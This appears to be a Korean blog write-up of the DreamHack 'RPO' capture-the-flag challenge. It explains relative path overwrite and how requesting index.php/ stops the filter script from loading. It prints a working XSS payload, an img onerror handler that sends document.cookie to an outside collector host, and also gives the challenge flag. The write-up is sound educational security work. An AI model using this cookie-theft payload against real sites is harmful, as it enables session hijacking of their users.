이번에 풀어볼 문제는 드림핵 2레벨 RPO입니다.
RPO는 브라우저와 서버가 인식하는 URL에 대한 차이를 이용한 공격입니다.
브라우저에서는 끝에 “/”가 붙으면 디렉토리, 안 붙으면 파일로 인식하게 되는데
실제 서버에서는 파일 끝에 /가 붙는다고 하더라도 문제는 없이 동작합니다.
하지만 HTML이 로드되는 브라우저에서는 이 차이가 유효하다는 것이죠.
예를 들어서 아래와 같은 코드가 있다고 가정해보겠습니다.
<script src="main.js"></script>
위의 코드는 현재 로드된 HTML파일이 존재하는 곳과 동일한 디렉토리의 main.js를 로드합니다.
즉 해당 파일이 있는 곳이 아닌 곳에 존재한다면 로드에 실패한다는 것이죠
<script src="/main.js"></script>
이렇게 작성한다면 최상위 디렉토리를 의미하는것이니
웹 서버가 실행되고 있는 최상위 웹 디렉토리 바로 하위에 존재하는 main.js를 가져옵니다.
<script src="../main.js"></script>
이렇게 작성하는 경우 또한 상위 디렉토리에 있는 main.js만을 가져옵니다.
그렇다면 어떻게 취약점이 발생할까요?
<script src="main.js"></script>
파일 이름의 끝에 슬래시를 붙인다고 하더라도 서버에서는 이를 처리하는데 지장이 없지만
브라우저에서는 이를 처리할 때 디렉토리로 받아들인다고 했습니다.
그렇다면 url 링크를
<http://example.com/index.php/?param=exam>
위와 같이 요청한다면 index.php은 원래 생략이 가능한 것이라
서버에서는 최상위 경로에 존재하는 index.php로부터 exam이라는 파라미터를 전송합니다.
하지만 브라우저에서는 index.php까지를 하나의 디렉토리로 받아들여서
최상위 경로에 있는 main.js를 로드하는 것이 아니라
/index.php/main.js 파일을 로드하게 되는 것입니다.
이제 문제 코드를 보겠습니다.
<script src="filter.js"></script>
<pre id=param></pre>
<script>
var param_elem = document.getElementById("param");
var url = new URL(window.location.href);
var param = url.searchParams.get("param");
if (typeof filter !== 'undefined') {
for (var i = 0; i < filter.length; i++) {
if (param.toLowerCase().includes(filter[i])) {
param = "nope !!";
break;
}
}
}
param_elem.innerHTML = param;
</script>
vuln.php에서는 filter.js라는 자바스크립트를 현재경로로부터 가져오고 있습니다.
그렇기 때문에 RPO 공격이 가능할 것으로 예상됩니다.
<div class="container">
<?php
$page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
include $page;
?>
</div>
인덱스에서는 page라는 파라미터로 전송된 것을 include를 통해서 보여주고 있습니다.
var filter = ["script", "on", "frame", "object"];
filter.js에서는 script, on, frame, object와 같은 4가지 단어를 필터링중입니다.
이 단어가 vuln에서 사용된다면 nope!! 라는 단어가 출력됩니다.
이때 단어 검사는 소문자로 전환한 뒤에 검사하기 때문에 딱히 우회 포인트는 없습니다.
<?php
if(isset($_POST['path'])){
exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output);
echo($output[0]);
}
?>
<form method="POST" class="form-inline">
<div class="form-group">
<label class="sr-only" for="path">/</label>
<div class="input-group">
<div class="input-group-addon"><http://127.0.0.1/></div>
<input type="text" class="form-control" id="path" name="path" placeholder="/">
</div>
</div>
<button type="submit" class="btn btn-primary">Report</button>
</form>
report.php에서는 전송을 할 때 본인의 로컬에다가 전송을 시켜줍니다.
드림핵의 모든 XSS 문제와 동일하게 공격 페이로드를 결국
report.php에 작성해서 서버 로컬에 있는 쿠키값을 가져오면 성공하는 문제입니다.
page 파라미터에 값을 삽입했을 때 그에 맞는 페이지를 반환해줍니다.
여기서 vuln을 했다면 filter.js가 호출되어 script와 같은 단어들을 사용하지 못하게 할 것입니다.
그런데 index.php를 디렉토리처럼 삽입하게 된다면
서버에서는 index.php가 삽입되지 않은 것과 동일하게 로직을 처리할 것이지만
브라우저에서는 이것을 경로로 여겨 filter.js라는 파일을 찾지 못할 것입니다.
이처럼 index.php라는 것을 붙였을 뿐인데 script라는 단어가 필터링 되지 않아서
그대로 출력되는 것을 알 수 있습니다.
하지만 여기서 script 태그를 사용할 수는 없습니다.
왜냐하면 vuln 페이지에서 param값을 전달하는데 innerHTML을 사용합니다.
innerHTML은 script 태그는 막고있기 때문에 a태그나 img 태그 등일 이용하여 우회해야 합니다.
그렇다면 정말로 스크립트가 실행되는지 한 번 테스트를 해보죠
정말로 실행이 되고 있습니다.
이제 이 공격 페이로드를 그대로 report.php에서 전송해보겠습니다.
index.php/?page=vuln¶m=<img src=x onerror="location.href='https://lxvttpi.request.dreamhack.games?'%2bdocument.cookie">
페이로드는 위의 것을 그대로 입력합니다.
+기호는 %2b로 변환하여 전송해주면 됩니다.
그러면 플래그가 전송되어 있는 것을 확인할 수 있습니다.
플래그 : DH{1461b2674a46c45172c83e27c35eea06}
이 문제가 취약한 이유를 알아보겠습니다.
저는 평소 웹 개발을 좋아해서 경로 삽입을 많이 하는데, 저같은 경우도 사실
최상위 경로로부터 파일을 지정한다기 보다는 ../와 같은 경로를 통해서 지정하는 것을 좋아합니다.
이것이 습관으로 굳어져서 상대 경로를 많이 사용하는데,
./ 같은 경로를 사용해도 이가 취약한지를 테스트해보도록 하겠습니다.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="main.js"></script>
</head>
<body>
</body>
</html>
먼저 index.php에서는 main.js라는 파일을 로딩하게끔 구성합니다.
alert(1)
그 다음 main.js에서는 간단하게 1을 출력하게끔 설정하면
127.0.0.1/index.php에 접속하거나 127.0.0.1/에 접속했을 때는 알림창이 나타납니다.
하지만 index.php/로 접속하게 된다면
index.php는 정상적으로 로드되지만, 알림창은 나타나지 않는 것을 알 수 있죠
이번에는 조금 다르게 main디렉토리 하위에 main.js를 옮기고
그 파일을 현재 디렉토리로부터 로드하게끔 해보겠습니다.
이번에도 역시 알림창은 나오고 있습니다.
그렇다면 index.php/ 라고 하면 어떻게 될까요?
이번에는 로드되지 않습니다.
상대경로를 사용한다면 모두 이처럼 인식하게 되는 것 같네요
사실 제가 지금껏 개발해온 웹 사이트들은 모두 이렇게 상대경로를 참조했었는데,
그 당시에 개발하던 저는 PHP에서 XSS나 SQLi를 잘 막아놨다고 생각하여
안전한 사이트라고 생각했지만
이런식으로도 취약점이 발생한다는 것은 상상하지 못했어서 배운게 많았던 문제인 것 같습니다.
정리하여 이러한 취약점과 그리고 해당 문제를 보완하기 위해서는
어떻게 해야될지 알아보겠습니다.
[DreamHack] development-env (1) | 2024.09.24 |
---|---|
[DreamHack] chocoshop (1) | 2024.09.09 |